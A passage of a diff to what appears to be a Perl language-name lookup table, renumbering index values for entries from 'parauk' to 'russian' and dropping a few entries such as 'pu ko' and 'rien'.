+      q(5364),
       q(0),
       ],
    q(parauk) => [
-      q(5585),
+      q(5588),
       q(0),
       ],
    q(parawen) => [
-      q(5595),
+      q(5598),
       q(0),
       ],
    q(pardhan) => [
-      q(5380),
+      q(5384),
       q(0),
       ],
    q(pardhi) => [
-      q(5384),
+      q(5388),
       q(0),
       ],
    q(pare) => [
-      q(5573),
+      q(5577),
       q(0),
       ],
    q(parecis) => [
-      q(5338),
+      q(5342),
       q(0),
       ],
    q(parenga) => [
-      q(5382),
+      q(5386),
       q(0),
       ],
    q(pari) => [
@@ -47445,59 +47507,59 @@
       q(0),
       ],
    q(parkwa) => [
-      q(5362),
+      q(5366),
       q(0),
       ],
    q(parsi) => [
-      q(5589),
+      q(5592),
       q(0),
       ],
    q(parsi-dari) => [
-      q(5579),
+      q(5582),
       q(0),
       ],
    q(parthian) => [
-      q(7451),
+      q(7454),
       q(0),
       ],
    q(parya) => [
-      q(5347),
+      q(5351),
       q(0),
       ],
    q(pashto) => [
-      q(0351),
+      q(0352),
       q(1),
       ],
    q(pasi) => [
-      q(5610),
+      q(5613),
       q(0),
       ],
    q(pass valley yali) => [
-      q(7559),
+      q(7562),
       q(0),
       ],
    q(patamona) => [
-      q(5357),
+      q(5361),
       q(0),
       ],
    q(patani) => [
-      q(5620),
+      q(5623),
       q(0),
       ],
    q(pataxo ha-ha-hae) => [
-      q(5618),
+      q(5621),
       q(0),
       ],
    q(patep) => [
-      q(5622),
+      q(5625),
       q(0),
       ],
    q(pathiya) => [
-      q(5629),
+      q(5632),
       q(0),
       ],
    q(patpatar) => [
-      q(2486),
+      q(2487),
       q(0),
       ],
    q(pattani) => [
@@ -47505,175 +47567,175 @@
       q(0),
       ],
    q(pattani malay) => [
-      q(4216),
+      q(4217),
       q(0),
       ],
    q(pattapu) => [
-      q(5623),
+      q(5626),
       q(0),
       ],
    q(patwin) => [
-      q(5653),
+      q(5655),
       q(0),
       ],
    q(paulohi) => [
-      q(5485),
+      q(5489),
       q(0),
       ],
    q(paumari) => [
-      q(5340),
+      q(5344),
       q(0),
       ],
    q(paunaka) => [
-      q(5530),
+      q(5534),
       q(0),
       ],
    q(pauri bareli) => [
-      q(1137),
+      q(1138),
       q(0),
       ],
    q(pauserna) => [
-      q(5606),
+      q(5609),
       q(0),
       ],
    q(pawaia) => [
-      q(5650),
+      q(5652),
       q(0),
       ],
    q(pawnee) => [
-      q(5352),
+      q(5356),
       q(0),
       ],
    q(paynamar) => [
-      q(5515),
+      q(5519),
       q(0),
       ],
    q(pe) => [
-      q(5344),
+      q(5348),
       q(0),
       ],
    q(pear) => [
-      q(5374),
+      q(5378),
       q(0),
       ],
    q(pech) => [
-      q(5354),
+      q(5358),
       q(0),
       ],
    q(pecheneg) => [
-      q(7440),
+      q(7443),
       q(0),
       ],
    q(pedi) => [
-      q(0318),
+      q(0319),
       q(0),
       ],
    q(peere) => [
-      q(5416),
+      q(5420),
       q(0),
       ],
    q(pei) => [
-      q(5571),
+      q(5575),
       q(0),
       ],
    q(pekal) => [
-      q(5406),
+      q(5410),
       q(0),
       ],
    q(pela) => [
-      q(1568),
+      q(1569),
       q(0),
       ],
    q(pele-ata) => [
-      q(0909),
+      q(0910),
       q(0),
       ],
    q(pelende) => [
-      q(5570),
+      q(5574),
       q(0),
       ],
    q(pemon) => [
-      q(0816),
+      q(0817),
       q(0),
       ],
    q(pemono) => [
-      q(5411),
+      q(5415),
       q(0),
       ],
    q(penang sign language) => [
-      q(5602),
+      q(5605),
       q(0),
       ],
    q(penchal) => [
-      q(5405),
+      q(5409),
       q(0),
       ],
    q(pendau) => [
-      q(6896),
+      q(6897),
       q(0),
       ],
    q(pengo) => [
-      q(5401),
+      q(5405),
       q(0),
       ],
    q(pennsylvania german) => [
-      q(5390),
+      q(5394),
       q(0),
       ],
    q(penoles mixtec) => [
-      q(4300),
+      q(4301),
       q(0),
       ],
    q(penrhyn) => [
-      q(5527),
+      q(5531),
       q(0),
       ],
    q(pentlatch) => [
-      q(5628),
+      q(5631),
       q(0),
       ],
    q(perai) => [
-      q(7096),
+      q(7098),
       q(0),
       ],
    q(peranakan indonesian) => [
-      q(5396),
+      q(5400),
       q(0),
       ],
    q(peripheral mongolian) => [
-      q(4597),
+      q(4598),
       q(0),
       ],
    q(pero) => [
-      q(5456),
+      q(5460),
       q(0),
       ],
    q(persian) => [
-      q(0342),
+      q(0343),
       q(0),
       ],
    q(persian sign language) => [
-      q(5599),
+      q(5602),
       q(0),
       ],
    q(persian, old (ca.600-400 b.c.)) => [
-      q(0341),
+      q(0342),
       q(0),
       ],
    q(peruvian sign language) => [
-      q(5586),
+      q(5589),
       q(0),
       ],
    q(petapa zapotec) => [
-      q(7900),
+      q(7903),
       q(0),
       ],
    q(petats) => [
-      q(5412),
+      q(5416),
       q(0),
       ],
    q(petjo) => [
-      q(5413),
+      q(5417),
       q(0),
       ],
    q(peve) => [
@@ -47681,255 +47743,255 @@
       q(0),
       ],
    q(pfaelzisch) => [
-      q(5417),
+      q(5421),
       q(0),
       ],
    q(phai) => [
-      q(5593),
+      q(5596),
       q(0),
       ],
    q(phake) => [
-      q(5432),
+      q(5436),
       q(0),
       ],
    q(phala) => [
-      q(7709),
+      q(7712),
       q(0),
       ],
    q(phalura) => [
-      q(5433),
+      q(5437),
       q(0),
       ],
    q(phana') => [
-      q(5436),
+      q(5440),
       q(0),
       ],
    q(phangduwali) => [
-      q(5441),
+      q(5445),
       q(0),
       ],
    q(phende) => [
-      q(5407),
+      q(5411),
       q(0),
       ],
    q(philippine languages) => [
-      q(0343),
+      q(0344),
       q(0),
       ],
    q(philippine sign language) => [
-      q(5609),
+      q(5612),
       q(0),
       ],
    q(phimbi) => [
-      q(5434),
+      q(5438),
       q(0),
       ],
    q(phoenician) => [
-      q(0344),
+      q(0345),
       q(0),
       ],
    q(phola) => [
-      q(7711),
+      q(7714),
       q(0),
       ],
    q(pholo) => [
-      q(7637),
+      q(7640),
       q(0),
       ],
    q(phom naga) => [
-      q(5026),
+      q(5028),
       q(0),
       ],
    q(phong-kniang) => [
-      q(5543),
+      q(5547),
       q(0),
       ],
    q(phrae pwo karen) => [
-      q(3393),
+      q(3394),
       q(0),
       ],
    q(phrygian) => [
-      q(7442),
+      q(7445),
       q(0),
       ],
    q(phu thai) => [
-      q(5438),
+      q(5442),
       q(0),
       ],
    q(phuan) => [
-      q(5439),
+      q(5443),
       q(0),
       ],
    q(phudagi) => [
-      q(5429),
+      q(5433),
       q(0),
       ],
    q(phuie) => [
-      q(5636),
+      q(5639),
       q(0),
       ],
    q(phukha) => [
-      q(5431),
+      q(5435),
       q(0),
       ],
    q(phuma) => [
-      q(7713),
+      q(7716),
       q(0),
       ],
    q(phunoi) => [
-      q(5435),
+      q(5439),
       q(0),
       ],
    q(phuong) => [
-      q(5430),
+      q(5434),
       q(0),
       ],
    q(phupa) => [
-      q(7716),
+      q(7719),
       q(0),
       ],
    q(phupha) => [
-      q(7712),
+      q(7715),
       q(0),
       ],
    q(phuza) => [
-      q(7717),
+      q(7720),
       q(0),
       ],
    q(piamatsina) => [
-      q(5624),
+      q(5627),
       q(0),
       ],
    q(piame) => [
-      q(5454),
+      q(5458),
       q(0),
       ],
    q(piapoco) => [
-      q(5455),
+      q(5459),
       q(0),
       ],
    q(piaroa) => [
-      q(5445),
+      q(5449),
       q(0),
       ],
    q(picard) => [
-      q(5376),
+      q(5380),
       q(0),
       ],
    q(pichis asheninka) => [
-      q(1834),
+      q(1835),
       q(0),
       ],
    q(pictish) => [
-      q(7443),
+      q(7446),
       q(0),
       ],
    q(pidgin delaware) => [
-      q(1991),
+      q(1992),
       q(0),
       ],
    q(piemontese) => [
-      q(5516),
+      q(5520),
       q(0),
       ],
    q(pijao) => [
-      q(5451),
+      q(5455),
       q(0),
       ],
    q(pije) => [
-      q(5465),
+      q(5469),
       q(0),
       ],
    q(pijin) => [
-      q(5458),
+      q(5462),
       q(0),
       ],
    q(pilaga) => [
-      q(5484),
+      q(5488),
       q(0),
       ],
    q(pileni) => [
-      q(5461),
+      q(5465),
       q(0),
       ],
    q(pilipino) => [
-      q(0133),
+      q(0134),
       q(1),
       ],
    q(pima bajo) => [
-      q(5442),
+      q(5446),
       q(0),
       ],
    q(pimbwe) => [
-      q(5462),
+      q(5466),
       q(0),
       ],
    q(pinai-hagahai) => [
-      q(5533),
+      q(5537),
       q(0),
       ],
    q(pingelapese) => [
-      q(5447),
+      q(5451),
       q(0),
       ],
    q(pini) => [
-      q(5450),
+      q(5454),
       q(0),
       ],
    q(pinigura) => [
-      q(5541),
+      q(5545),
       q(0),
       ],
    q(pinjarup) => [
-      q(5529),
+      q(5533),
       q(0),
       ],
    q(pinji) => [
-      q(5444),
+      q(5448),
       q(0),
       ],
    q(pinotepa nacional mixtec) => [
-      q(4302),
+      q(4303),
       q(0),
       ],
    q(pintiini) => [
-      q(5619),
+      q(5622),
       q(0),
       ],
    q(pintupi-luritja) => [
-      q(5460),
+      q(5464),
       q(0),
       ],
    q(pinyin) => [
-      q(5544),
+      q(5548),
       q(0),
       ],
    q(pipil) => [
-      q(5566),
+      q(5570),
       q(0),
       ],
    q(piraha) => [
-      q(4678),
+      q(4679),
       q(0),
       ],
    q(piratapuyo) => [
-      q(5457),
+      q(5461),
       q(0),
       ],
    q(pirlatapa) => [
-      q(1573),
+      q(1574),
       q(0),
       ],
    q(piro) => [
-      q(5446),
+      q(5450),
       q(0),
       ],
    q(pirriya) => [
-      q(7439),
+      q(7442),
       q(0),
       ],
    q(pisabo) => [
-      q(5448),
+      q(5452),
       q(0),
       ],
    q(pisaflores tepehua) => [
@@ -47937,51 +47999,51 @@
       q(0),
       ],
    q(piscataway) => [
-      q(5616),
+      q(5619),
       q(0),
       ],
    q(pisidian) => [
-      q(7452),
+      q(7455),
       q(0),
       ],
    q(pitcairn-norfolk) => [
-      q(5449),
+      q(5453),
       q(0),
       ],
    q(pite sami) => [
-      q(6048),
+      q(6049),
       q(0),
       ],
    q(piti) => [
-      q(5386),
+      q(5390),
       q(0),
       ],
    q(pitjantjatjara) => [
-      q(5466),
+      q(5470),
       q(0),
       ],
    q(pitta pitta) => [
-      q(5459),
+      q(5463),
       q(0),
       ],
    q(piu) => [
-      q(5463),
+      q(5467),
       q(0),
       ],
    q(piya-kwonci) => [
-      q(5464),
+      q(5468),
       q(0),
       ],
    q(plains cree) => [
-      q(1846),
+      q(1847),
       q(0),
       ],
    q(plains indian sign language) => [
-      q(5600),
+      q(5603),
       q(0),
       ],
    q(plains miwok) => [
-      q(5518),
+      q(5522),
       q(0),
       ],
    q(plapo krumen) => [
@@ -47989,211 +48051,211 @@
       q(0),
       ],
    q(plateau malagasy) => [
-      q(5495),
+      q(5499),
       q(0),
       ],
    q(plautdietsch) => [
-      q(5394),
+      q(5398),
       q(0),
       ],
    q(playero) => [
-      q(2582),
+      q(2584),
       q(0),
       ],
    q(pnar) => [
-      q(5371),
+      q(5375),
       q(0),
       ],
    q(pochuri naga) => [
-      q(5030),
+      q(5032),
       q(0),
       ],
    q(pochutec) => [
-      q(7448),
+      q(7451),
       q(0),
       ],
    q(podena) => [
-      q(5392),
+      q(5396),
       q(0),
       ],
    q(pogolo) => [
-      q(5562),
+      q(5566),
       q(0),
       ],
    q(pohnpeian) => [
-      q(0347),
+      q(0348),
       q(0),
       ],
    q(pokanga) => [
-      q(5552),
+      q(5556),
       q(0),
       ],
    q(poke) => [
-      q(5548),
+      q(5552),
       q(0),
       ],
    q(pokomo) => [
-      q(5468),
+      q(5472),
       q(0),
       ],
    q(pokoot) => [
-      q(5473),
+      q(5477),
       q(0),
       ],
    q(polabian) => [
-      q(5561),
+      q(5565),
       q(0),
       ],
    q(polari) => [
-      q(5482),
+      q(5486),
       q(0),
       ],
    q(polci) => [
-      q(5486),
+      q(5490),
       q(0),
       ],
    q(polish) => [
-      q(0346),
+      q(0347),
       q(0),
       ],
    q(polish sign language) => [
-      q(5608),
+      q(5611),
       q(0),
       ],
    q(polonombauk) => [
-      q(5480),
+      q(5484),
       q(0),
       ],
    q(pom) => [
-      q(5513),
+      q(5517),
       q(0),
       ],
    q(pomo) => [
-      q(5511),
+      q(5515),
       q(0),
       ],
    q(ponam) => [
-      q(4755),
+      q(4756),
       q(0),
       ],
    q(pongu) => [
-      q(5526),
+      q(5530),
       q(0),
       ],
    q(ponosakan) => [
-      q(5538),
+      q(5542),
       q(0),
       ],
    q(pontic) => [
-      q(5539),
+      q(5543),
       q(0),
       ],
    q(ponyo-gongwang naga) => [
-      q(5025),
+      q(5027),
       q(0),
       ],
    q(popti') => [
-      q(3038),
+      q(3041),
       q(0),
       ],
    q(poqomam) => [
-      q(5546),
+      q(5550),
       q(0),
       ],
    q(poqomchi') => [
-      q(5550),
+      q(5554),
       q(0),
       ],
    q(porohanon) => [
-      q(5583),
+      q(5586),
       q(0),
       ],
    q(port sandwich) => [
-      q(5615),
+      q(5618),
       q(0),
       ],
    q(port vato) => [
-      q(5627),
+      q(5630),
       q(0),
       ],
    q(portuguese) => [
-      q(0348),
+      q(0349),
       q(0),
       ],
    q(portuguese sign language) => [
-      q(5611),
+      q(5614),
       q(0),
       ],
    q(portuguese-based creoles and pidgins) => [
-      q(0095),
+      q(0096),
       q(2),
       ],
    q(potawatomi) => [
-      q(5558),
+      q(5562),
       q(0),
       ],
    q(potiguara) => [
-      q(5549),
+      q(5553),
       q(0),
       ],
    q(pottangi ollar gadaba) => [
-      q(2450),
+      q(2451),
       q(0),
       ],
    q(poule) => [
-      q(4533),
+      q(4534),
       q(1),
       ],
    q(poumei naga) => [
-      q(5519),
+      q(5523),
       q(0),
       ],
    q(pouye) => [
-      q(1592),
+      q(1593),
       q(0),
       ],
    q(powari) => [
-      q(5657),
+      q(5659),
       q(0),
       ],
    q(powhatan) => [
-      q(5453),
+      q(5457),
       q(0),
       ],
    q(poyanawa) => [
-      q(5662),
+      q(5664),
       q(0),
       ],
    q(prakrit languages) => [
-      q(0349),
+      q(0350),
       q(0),
       ],
    q(prasuni) => [
-      q(5588),
+      q(5591),
       q(0),
       ],
    q(primitive irish) => [
-      q(5423),
+      q(5427),
       q(0),
       ],
    q(principense) => [
-      q(5580),
+      q(5583),
       q(0),
       ],
    q(provencal) => [
-      q(0326),
+      q(0327),
       q(1),
       ],
    q(provencal, old (to 1500)) => [
-      q(0350),
+      q(0351),
       q(0),
       ],
    q(providencia sign language) => [
-      q(5597),
+      q(5600),
       q(0),
       ],
    q(prussian) => [
-      q(5582),
+      q(5585),
       q(0),
       ],
    q(psikye) => [
@@ -48200,128 +48262,124 @@
       q(3670),
       q(0),
       ],
-   q(pu ko) => [
-      q(5639),
-      q(0),
-      ],
    q(pu-xian chinese) => [
-      q(1835),
+      q(1836),
       q(0),
       ],
    q(puare) => [
-      q(5648),
+      q(5650),
       q(0),
       ],
    q(pudtol atta) => [
-      q(0922),
+      q(0923),
       q(0),
       ],
    q(puelche) => [
-      q(5634),
+      q(5637),
       q(0),
       ],
    q(puerto rican sign language) => [
-      q(5605),
+      q(5608),
       q(0),
       ],
    q(puimei naga) => [
-      q(5032),
+      q(5034),
       q(0),
       ],
    q(puinave) => [
-      q(5637),
+      q(5640),
       q(0),
       ],
    q(pukapuka) => [
-      q(5474),
+      q(5478),
       q(0),
       ],
    q(pulaar) => [
-      q(2378),
+      q(2379),
       q(0),
       ],
    q(pulabu) => [
-      q(5642),
+      q(5644),
       q(0),
       ],
    q(pular) => [
-      q(2381),
+      q(2382),
       q(0),
       ],
    q(puluwatese) => [
-      q(5647),
+      q(5649),
       q(0),
       ],
    q(puma) => [
-      q(5640),
+      q(5642),
       q(0),
       ],
    q(pume) => [
-      q(7561),
+      q(7564),
       q(0),
       ],
    q(pumpokol) => [
-      q(7446),
+      q(7449),
       q(0),
       ],
    q(punan aput) => [
-      q(5633),
+      q(5636),
       q(0),
       ],
    q(punan bah-biau) => [
-      q(5522),
+      q(5526),
       q(0),
       ],
    q(punan batu 1) => [
-      q(5532),
+      q(5536),
       q(0),
       ],
    q(punan merah) => [
-      q(5635),
+      q(5638),
       q(0),
       ],
    q(punan merap) => [
-      q(5632),
+      q(5635),
       q(0),
       ],
    q(punan tubu) => [
-      q(5638),
+      q(5641),
       q(0),
       ],
    q(punic) => [
-      q(7454),
+      q(7457),
       q(0),
       ],
    q(punjabi) => [
-      q(0338),
+      q(0339),
       q(1),
       ],
    q(puno quechua) => [
-      q(5716),
+      q(5718),
       q(0),
       ],
    q(punthamara) => [
-      q(7453),
+      q(7456),
       q(0),
       ],
    q(punu) => [
-      q(5646),
+      q(5648),
       q(0),
       ],
    q(puoc) => [
-      q(5641),
+      q(5643),
       q(0),
       ],
    q(puquina) => [
-      q(5643),
+      q(5645),
       q(0),
       ],
    q(puragi) => [
-      q(5594),
+      q(5597),
       q(0),
       ],
    q(purari) => [
-      q(2881),
+      q(2883),
       q(0),
       ],
    q(purepecha) => [
@@ -48329,99 +48387,99 @@
       q(0),
       ],
    q(puri) => [
-      q(5591),
+      q(5594),
       q(0),
       ],
    q(purik) => [
-      q(5596),
+      q(5599),
       q(0),
       ],
    q(purisimeno) => [
-      q(5649),
+      q(5651),
       q(0),
       ],
    q(puroik) => [
-      q(6277),
+      q(6276),
       q(0),
       ],
    q(purubora) => [
-      q(5644),
+      q(5646),
       q(0),
       ],
    q(purum) => [
-      q(5631),
+      q(5634),
       q(0),
       ],
    q(pushto) => [
-      q(0351),
+      q(0352),
       q(0),
       ],
    q(putai) => [
-      q(4227),
+      q(4228),
       q(0),
       ],
    q(putoh) => [
-      q(5645),
+      q(5647),
       q(0),
       ],
    q(putukwam) => [
-      q(0641),
+      q(0642),
       q(0),
       ],
    q(puyo) => [
-      q(7455),
+      q(7458),
       q(0),
       ],
    q(puyo-paekche) => [
-      q(7449),
+      q(7452),
       q(0),
       ],
    q(puyuma) => [
-      q(5664),
+      q(5666),
       q(0),
       ],
    q(pwaamei) => [
-      q(5504),
+      q(5508),
       q(0),
       ],
    q(pwapwa) => [
-      q(5555),
+      q(5559),
       q(0),
       ],
    q(pwo eastern karen) => [
-      q(3389),
+      q(3390),
       q(0),
       ],
    q(pwo northern karen) => [
-      q(5658),
+      q(5660),
       q(0),
       ],
    q(pwo western karen) => [
-      q(5656),
+      q(5658),
       q(0),
       ],
    q(pyapun) => [
-      q(5388),
+      q(5392),
       q(0),
       ],
    q(pye krumen) => [
-      q(5660),
+      q(5662),
       q(0),
       ],
    q(pyen) => [
-      q(5666),
+      q(5668),
       q(0),
       ],
    q(pyu (myanmar)) => [
-      q(5665),
+      q(5667),
       q(0),
       ],
    q(pyu (papua new guinea)) => [
-      q(5372),
+      q(5376),
       q(0),
       ],
    q(q'anjob'al) => [
-      q(3375),
+      q(3376),
       q(0),
       ],
    q(qabiao) => [
@@ -48429,167 +48487,167 @@
       q(0),
       ],
    q(qaqet) => [
-      q(1609),
+      q(1610),
       q(0),
       ],
    q(qashqa'i) => [
-      q(5717),
+      q(5719),
       q(0),
       ],
    q(qatabanian) => [
-      q(7457),
+      q(7460),
       q(0),
       ],
    q(qau) => [
-      q(2609),
+      q(2611),
       q(0),
       ],
    q(qawasqar) => [
-      q(0746),
+      q(0747),
       q(0),
       ],
    q(qila muji) => [
-      q(7683),
+      q(7686),
       q(0),
       ],
    q(qimant) => [
-      q(0679),
+      q(0680),
       q(0),
       ],
    q(qiubei zhuang) => [
-      q(7922),
+      q(7925),
       q(0),
       ],
    q(quapaw) => [
-      q(5668),
+      q(5670),
       q(0),
       ],
    q(quebec sign language) => [
-      q(2336),
+      q(2337),
       q(0),
       ],
    q(quechan) => [
-      q(7755),
+      q(7758),
       q(0),
       ],
    q(quechua) => [
-      q(0353),
+      q(0354),
       q(0),
       ],
    q(quechuan (family)) => [
-      q(0523),
+      q(0524),
       q(0),
       ],
    q(quenya) => [
-      q(5723),
+      q(5725),
       q(0),
       ],
    q(queretaro otomi) => [
-      q(5316),
+      q(5320),
       q(0),
       ],
    q(quetzaltepec mixe) => [
-      q(5659),
+      q(5661),
       q(0),
       ],
    q(queyu) => [
-      q(5702),
+      q(5704),
       q(0),
       ],
    q(quiavicuzas zapotec) => [
-      q(7905),
+      q(7908),
       q(0),
       ],
    q(quiche) => [
-      q(5670),
+      q(5672),
       q(1),
       ],
    q(quileute) => [
-      q(5675),
+      q(5677),
       q(0),
       ],
    q(quinault) => [
-      q(5679),
+      q(5681),
       q(0),
       ],
    q(quinqui) => [
-      q(5681),
+      q(5683),
       q(0),
       ],
    q(quioquitani-quieri zapotec) => [
-      q(7941),
+      q(7944),
       q(0),
       ],
    q(quiotepec chinantec) => [
-      q(1721),
+      q(1722),
       q(0),
       ],
    q(quiripi) => [
-      q(5724),
+      q(5726),
       q(0),
       ],
    q(rabha) => [
-      q(5731),
+      q(5733),
       q(0),
       ],
    q(rade) => [
-      q(5728),
+      q(5730),
       q(0),
       ],
    q(raetic) => [
-      q(7467),
+      q(7470),
       q(0),
       ],
    q(rahambuu) => [
-      q(5746),
+      q(5748),
       q(0),
       ],
    q(rajah kabunsuwan manobo) => [
-      q(4482),
+      q(4483),
       q(0),
       ],
    q(rajasthani) => [
-      q(0354),
+      q(0355),
       q(0),
       ],
    q(rajbanshi) => [
-      q(5786),
+      q(5787),
       q(0),
       ],
    q(raji) => [
-      q(5785),
+      q(5786),
       q(0),
       ],
    q(rajong) => [
-      q(5784),
+      q(5785),
       q(0),
       ],
    q(rajput garasia) => [
-      q(2610),
+      q(2612),
       q(0),
       ],
    q(rakahanga-manihiki) => [
-      q(5789),
+      q(5790),
       q(0),
       ],
    q(rakhine) => [
-      q(5790),
+      q(5791),
       q(0),
       ],
    q(ralte) => [
-      q(5734),
+      q(5736),
       q(0),
       ],
    q(rama) => [
-      q(5794),
+      q(5795),
       q(0),
       ],
    q(ramoaaina) => [
-      q(5732),
+      q(5734),
       q(0),
       ],
    q(ramopa) => [
-      q(3396),
+      q(3397),
       q(0),
       ],
    q(rampi) => [
@@ -48601,31 +48659,31 @@
       q(0),
       ],
    q(rang) => [
-      q(5744),
+      q(5746),
       q(0),
       ],
    q(rangkas) => [
-      q(5768),
+      q(5770),
       q(0),
       ],
    q(ranglong) => [
-      q(5820),
+      q(5821),
       q(0),
       ],
    q(rangpuri) => [
-      q(5792),
+      q(5793),
       q(0),
       ],
    q(rao) => [
-      q(5737),
+      q(5739),
       q(0),
       ],
    q(rapa) => [
-      q(5745),
+      q(5747),
       q(0),
       ],
    q(rapanui) => [
-      q(0355),
+      q(0356),
       q(0),
       ],
    q(rapoisi) => [
@@ -48633,7 +48691,7 @@
       q(0),
       ],
    q(rapting) => [
-      q(5838),
+      q(5839),
       q(0),
       ],
    q(rara bakati') => [
@@ -48641,15 +48699,15 @@
       q(0),
       ],
    q(rarotongan) => [
-      q(0356),
+      q(0357),
       q(0),
       ],
    q(rasawa) => [
-      q(5727),
+      q(5729),
       q(0),
       ],
    q(ratagnon) => [
-      q(1480),
+      q(1481),
       q(0),
       ],
    q(ratahan) => [
@@ -48661,15 +48719,15 @@
       q(0),
       ],
    q(rathwi bareli) => [
-      q(1164),
+      q(1165),
       q(0),
       ],
    q(raute) => [
-      q(5741),
+      q(5743),
       q(0),
       ],
    q(ravula) => [
-      q(7603),
+      q(7606),
       q(0),
       ],
    q(rawa) => [
@@ -48677,15 +48735,15 @@
       q(0),
       ],
    q(rawang) => [
-      q(5743),
+      q(5745),
       q(0),
       ],
    q(rawat) => [
-      q(3129),
+      q(3131),
       q(0),
       ],
    q(rawngtu chin) => [
-      q(7097),
+      q(7099),
       q(0),
       ],
    q(rawo) => [
@@ -48693,11 +48751,11 @@
       q(0),
       ],
    q(rayon zoque) => [
-      q(7894),
+      q(7897),
       q(0),
       ],
    q(razajerdi) => [
-      q(5740),
+      q(5742),
       q(0),
       ],
    q(razihi) => [
@@ -48705,47 +48763,47 @@
       q(0),
       ],
    q(red gelao) => [
-      q(2519),
+      q(2521),
       q(0),
       ],
    q(reel) => [
-      q(0927),
+      q(0928),
       q(0),
       ],
    q(rejang) => [
-      q(5758),
+      q(5760),
       q(0),
       ],
    q(rejang kayan) => [
-      q(5755),
+      q(5757),
       q(0),
       ],
    q(reli) => [
-      q(5757),
+      q(5759),
       q(0),
       ],
    q(rema) => [
-      q(1370),
+      q(1371),
       q(0),
       ],
    q(rembarunga) => [
-      q(5795),
+      q(5796),
       q(0),
       ],
    q(rembong) => [
-      q(5754),
+      q(5756),
       q(0),
       ],
    q(remo) => [
-      q(5760),
+      q(5762),
       q(0),
       ],
    q(remontado dumagat) => [
-      q(0672),
+      q(0673),
       q(0),
       ],
    q(rempi) => [
-      q(5808),
+      q(5809),
       q(0),
       ],
    q(remun) => [
@@ -48753,215 +48811,207 @@
       q(0),
       ],
    q(rendille) => [
-      q(5759),
+      q(5761),
       q(0),
       ],
    q(rengao) => [
-      q(5761),
+      q(5763),
       q(0),
       ],
    q(rennell-bellona) => [
-      q(4424),
+      q(4425),
       q(0),
       ],
-   q(rennellese sign language) => [
-      q(5843),
-      q(0),
-      ],
    q(repanbitip) => [
-      q(5837),
+      q(5838),
       q(0),
       ],
    q(rer bare) => [
-      q(5762),
+      q(5764),
       q(0),
       ],
    q(rerau) => [
-      q(5753),
+      q(5755),
       q(0),
       ],
    q(rerep) => [
-      q(5422),
+      q(5426),
       q(0),
       ],
    q(reserved for local use) => [
-      q(0352),
+      q(0353),
       q(0),
       ],
    q(reshe) => [
-      q(5763),
+      q(5765),
       q(0),
       ],
    q(resigaro) => [
-      q(5770),
+      q(5772),
       q(0),
       ],
    q(retta) => [
-      q(5764),
+      q(5766),
       q(0),
       ],
    q(reunion creole french) => [
-      q(5751),
+      q(5753),
       q(0),
       ],
    q(reyesano) => [
-      q(5765),
+      q(5767),
       q(0),
       ],
    q(riang (india)) => [
-      q(5775),
+      q(5777),
       q(0),
       ],
    q(riang (myanmar)) => [
-      q(5778),
+      q(5779),
       q(0),
       ],
    q(riantana) => [
-      q(5736),
+      q(5738),
       q(0),
       ],
    q(ribun) => [
-      q(5781),
+      q(5782),
       q(0),
       ],
-   q(rien) => [
-      q(5776),
-      q(0),
-      ],
    q(rifao) => [
-      q(4975),
+      q(4977),
       q(1),
       ],
    q(rikbaktsa) => [
-      q(5788),
+      q(5789),
       q(0),
       ],
    q(rincon zapotec) => [
-      q(7802),
+      q(7805),
       q(0),
       ],
    q(rinconada bikol) => [
-      q(1481),
+      q(1482),
       q(0),
       ],
    q(ringgou) => [
-      q(5772),
+      q(5774),
       q(0),
       ],
    q(ririo) => [
-      q(5839),
+      q(5840),
       q(0),
       ],
    q(ritarungo) => [
-      q(5782),
+      q(5783),
       q(0),
       ],
    q(riung) => [
-      q(5783),
+      q(5784),
       q(0),
       ],
    q(riverain sango) => [
-      q(6132),
+      q(6131),
       q(0),
       ],
    q(rogo) => [
-      q(5827),
+      q(5828),
       q(0),
       ],
    q(rohingya) => [
-      q(5773),
+      q(5775),
       q(0),
       ],
    q(roma) => [
-      q(5805),
+      q(5806),
       q(0),
       ],
    q(romagnol) => [
-      q(5769),
+      q(5771),
       q(0),
       ],
    q(romam) => [
-      q(5815),
+      q(5816),
       q(0),
       ],
    q(romance languages) => [
-      q(0357),
+      q(0358),
       q(0),
       ],
    q(romanian) => [
-      q(0360),
+      q(0361),
       q(0),
       ],
    q(romanian sign language) => [
-      q(5810),
+      q(5811),
       q(0),
       ],
    q(romano-greek) => [
-      q(5767),
+      q(5769),
       q(0),
       ],
    q(romano-serbian) => [
-      q(5842),
+      q(5843),
       q(0),
       ],
    q(romanova) => [
-      q(5813),
+      q(5814),
       q(0),
       ],
    q(romansh) => [
-      q(0358),
+      q(0359),
       q(0),
       ],
    q(romany) => [
-      q(0359),
+      q(0360),
       q(0),
       ],
    q(romblomanon) => [
-      q(5831),
+      q(5832),
       q(0),
       ],
    q(rombo) => [
-      q(5829),
+      q(5830),
       q(0),
       ],
    q(romkun) => [
-      q(5803),
+      q(5804),
       q(0),
       ],
    q(ron) => [
-      q(1765),
+      q(1766),
       q(0),
       ],
    q(ronga) => [
-      q(5819),
+      q(5820),
       q(0),
       ],
    q(rongga) => [
-      q(5834),
+      q(5835),
       q(0),
       ],
    q(rongmei naga) => [
-      q(4749),
+      q(4750),
       q(0),
       ],
    q(rongpo) => [
-      q(5822),
+      q(5823),
       q(0),
       ],
    q(ronji) => [
-      q(5828),
+      q(5829),
       q(0),
       ],
    q(roon) => [
-      q(5821),
+      q(5822),
       q(0),
       ],
    q(roria) => [
-      q(5766),
+      q(5768),
       q(0),
       ],
    q(rotokas) => [
-      q(5832),
+      q(5833),
       q(0),
       ],
    q(rotuman) => [
@@ -48973,11 +49023,11 @@
       q(0),
       ],
    q(ruching palaung) => [
-      q(5377),
+      q(5381),
       q(0),
       ],
    q(rudbari) => [
-      q(5752),
+      q(5754),
       q(0),
       ],
    q(rufiji) => [
@@ -48989,7 +49039,7 @@
       q(0),
       ],
    q(rukai) => [
-      q(2140),
+      q(2141),
       q(0),
       ],
    q(ruma) => [
@@ -48997,19 +49047,19 @@
       q(0),
       ],
    q(rumai palaung) => [
-      q(5747),
+      q(5749),
       q(0),
       ],
    q(rumu) => [
-      q(3441),
+      q(3442),
       q(0),
       ],
    q(rundi) => [
-      q(0361),
+      q(0362),
       q(0),
       ],
    q(runga) => [
-      q(5835),
+      q(5836),
       q(0),
       ],
    q(rungtu chin) => [
@@ -49017,19 +49067,19 @@
       q(0),
       ],
    q(rungus) => [
-      q(2131),
+      q(2132),
       q(0),
       ],
    q(rungwa) => [
-      q(5824),
+      q(5825),
       q(0),
       ],
    q(russia buriat) => [
-      q(1582),
+      q(1583),
       q(0),
       ],
    q(russian) => [
-      q(0363),
+      q(0364),
       q(0),
       ],
